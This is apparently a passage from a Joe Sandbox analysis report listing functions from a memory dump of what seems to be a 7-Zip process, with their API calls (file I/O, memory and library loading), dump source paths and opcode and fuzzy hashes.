Function 00118CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001189D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 001189EA

CreateFileW.KERNELBASE ref: 00118D51
CreateFileW.KERNEL32 ref: 00118DA4
free.MSVCRT ref: 00118DB2

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CreateFile$CloseHandlefree
String ID:
API String ID: 210839660-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: 482c296e9630c003e75f4e1b10ac7bf22a2d1a1bd9dfba1f7bb7e899f0deb485
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: CF217F33104A819ACB649F55B84169AAB24B3A67F4F544335EFB947BE4CF38C8D68B00

Function 00152CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00113274: memmove.MSVCRT ref: 001132AC

fputs.MSVCRT ref: 00152D41
fputs.MSVCRT ref: 00152DCF
free.MSVCRT ref: 00152DFF

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction ID: e980f6f2d4b82c38ef2ef920d1b5f56e9b3c6993cb904fe8eb4e1ecd011480d8
Opcode Fuzzy Hash: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction Fuzzy Hash: 75213162214A0181CF24EF65E8512AE6331FBA9BE5F489231EE6B4B768DF3CC595C700

Function 0011CE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0011CF85
memmove.MSVCRT ref: 0011CFB7
GetLastError.KERNEL32 ref: 0011D020

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLast$memmove
String ID:
API String ID: 3796167841-0
Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction ID: c0ed506025fdb27bac7d144ba2160e6f8f6e7e3cece57a28e337c53aef804026
Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction Fuzzy Hash: 43519132351B55A7DB2D8E3AE5447E923A0FB48794F140136EF0A87B50DB39E8E6C740

Function 00112300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00112311

Strings

Kernel , xrefs: 00112300

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: 4cc9d0c7d4c05421a64c1f02c66b7190704da4da00a8d98701f37d0dd06e68be
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 88C09B55751A08C2FF1417B7EC453651211D75DF91F185034CE1D0B350D91CD4D7C711

Function 0015B1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0015B20D
fputs.MSVCRT ref: 0015B232

Part of subcall function 00112B04: _CxxThrowException.MSVCRT ref: 00112B2D
Part of subcall function 00112B04: free.MSVCRT ref: 00112B44

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: 0658846f63c6d8233235909349bf3c2d9af3bde780ef64e2493d311abe35ae78
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: CE01A17770469096E709DF66EAC075E2720F769B95F088022DF180B711DB74E8AAC320

Function 00118A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00118E1D), ref: 00118A99
GetLastError.KERNEL32(?,?,00000003,?,00118E1D), ref: 00118AA6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: 976350a83a513fd569363f7791b4e40c52d6b4b09b99a3b6c2debdbf52d5c717
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: 4EF0FC72B117C0C3DF288B69E8847992751EF5A799F6C8432CA0847750DF29C8C2C710

Function 00150994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001509D5

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

free.MSVCRT ref: 001509E9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction ID: b74256c03249bb7849219dc0d4a7411ee3e65a2d75526261c467dbf0e0cf9905
Opcode Fuzzy Hash: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction Fuzzy Hash: 2BF0FE6260494480CA25DF25E9553599320E799BF9F484321EE6D477E9DF38C99AC700

Function 00144035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 0014404D
memmove.MSVCRT ref: 00144087

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 96e44e9e5a32ed725eb072e1cfbeb8874b8d10a423f6c5ce45c1c81385b624aa
Instruction ID: 3791421e977c0eccaaac51cff280554c482d0a6157d35842ae47c5c8a071e2ca
Opcode Fuzzy Hash: 96e44e9e5a32ed725eb072e1cfbeb8874b8d10a423f6c5ce45c1c81385b624aa
Instruction Fuzzy Hash: 2E31A2673096C197CA35EF54E1942EEB720F3A5740F404422DB9D47B69EF38D69ACB00

Function 00144054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00144065
memmove.MSVCRT ref: 00144087

Part of subcall function 00113404: free.MSVCRT ref: 00113431
Part of subcall function 00113404: memmove.MSVCRT ref: 0011344C

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 17819045fa4f71224e77d6b47d31bebb38c9a9f9600a532a75b3572cd8e30e53
Instruction ID: 81f2190c0aeffe194711606f726370f6f2a089e695996318a77aee7ef78a58a0
Opcode Fuzzy Hash: 17819045fa4f71224e77d6b47d31bebb38c9a9f9600a532a75b3572cd8e30e53
Instruction Fuzzy Hash: 9611A2A23056C592CA35EB55F0953EEA310F7A1790F804436DBAD47AA9DF38D6CACB00

Function 00139A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00139A84
free.MSVCRT ref: 00139A95

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 56a27e95cc9a7b3d95fec9599324aca932165fc211486b808a29805b76ddade4
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: 36F08C23302B94C6DA24AA26E8402AD7720AB96FB1F188330EF7917B91CF64C857C300

Function 0015C7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

memmove.MSVCRT ref: 0015C815
free.MSVCRT ref: 0015C81D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: 81a948d7c8275a5e02843b536d61aee36f4bb894a1cd073c72687d460436fb1b
Instruction ID: 3e4e554969f21a175273eb104fb24c86a56b9647befa8f776ae5fba9fb6c942a
Opcode Fuzzy Hash: 81a948d7c8275a5e02843b536d61aee36f4bb894a1cd073c72687d460436fb1b
Instruction Fuzzy Hash: A3018177701688CBCB18DF26D46156CB765E389F99B08C129DF154B358CB34DC9ACB90

Function 00150A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00150A42
LeaveCriticalSection.KERNEL32 ref: 00150A73

Part of subcall function 0015B480: GetTickCount.KERNEL32 ref: 0015B49E
Part of subcall function 0015B480: strcmp.MSVCRT ref: 0015B4E3
Part of subcall function 0015B480: wcscmp.MSVCRT ref: 0015B502
Part of subcall function 0015B480: strcmp.MSVCRT ref: 0015B568

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: bed335098c6dc07801198c41b2fd78e16e24fd9810ffe0d711074e7ef5c977e1
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: FBF05E72214B5082E7219B24EC847996370E789BB6F144338EE7D4B6E4CF38858AC354

Function 00112568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00113274: memmove.MSVCRT ref: 001132AC

free.MSVCRT ref: 001125B5
free.MSVCRT ref: 001125C0

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: 28192782aa022feddf7be36b73321207ea39bb22f1ae1880e87b11067d14eadd
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: E0E0376225894051CA24EB20E4510DA6720E7E67F4B482331F6BF57AF9DF38C6D5CB00

Function 00112130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00112134
_CxxThrowException.MSVCRT ref: 0011214F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: 1cf36970b7fc3da7417d7cb04a3d54224a4515250228a53d2c57fde376b39031
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: 70D02260B1B680E0DE08AB10A8813881720BBE8341FC01055F20E02324DB2CC18FCB00

Function 0012251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: baeac43a24352919f355c22df736ec1a6b78c748ac37786771faec89c0303835
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: DE514673248AD0A6CB32CF25E4406ED3B61F399F98F694136DE9A4A719DF34C8A1C710

Function 001386E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 00138744

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: 3d24560817cebff33a97a69c9425ebadb2d24d9908570ffcda83bbf7720f8c9b
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: CE11822621878182E3709B18A4407BA7661E7847A4F644321FFDA577E4EF3CCD85C705

Function 00118C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00118A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00118E1D), ref: 00118A99
Part of subcall function 00118A60: GetLastError.KERNEL32(?,?,00000003,?,00118E1D), ref: 00118AA6

SetEndOfFile.KERNELBASE ref: 00118CC7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: e32f507570a9180f13f0ecfe51f38beaa99f258155084d38238bf81d056406de
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: 8AE02612301894C3E7289FB1A8817EA9310AB857E0F48C031AA4543B488F658CDA8710

Function 001164D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00116464: FreeLibrary.KERNELBASE(?,?,?,001164E7), ref: 00116475

LoadLibraryExW.KERNELBASE ref: 001164F4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: c11140721ccc472e9c3c21792e3135b9061cbe3d51e55aa3374c214db705796d
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: DBD02E21701A20C2EE182BBAA8813E903022F06BE2F88C0309E0903701DF2A0CEBA300

Function 00118BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00118C1F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: d063e24c478c94281d9f79ee62210cbacd97221f6d87a5191525a288fc2a6772
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: 84E04F76214640CBE740CF60E40074AB3A0F388714F000114DE8D83B54CBBCC045CF40

Function 00116464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,001164E7), ref: 00116475

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: 6ce59ecd7bb929a0753a932c433550d9138059e36c7ca41d001eab55ddec63e2
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: F5D012A2702904C5FF194FF2EC543B523586B58F45F5C5024CE154B640EB2A88D6C760

Function 00118AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00118B16

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: 1a77705a44a577c57b9d52c24b5c9005b52495e98f1fb812e3265d9b2c90ad69
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: BFD01776614A84C6E7008F70E44579AF764F388B65F480008EA8807764CBBCC19ACB00

Function 001126A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001126C1

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
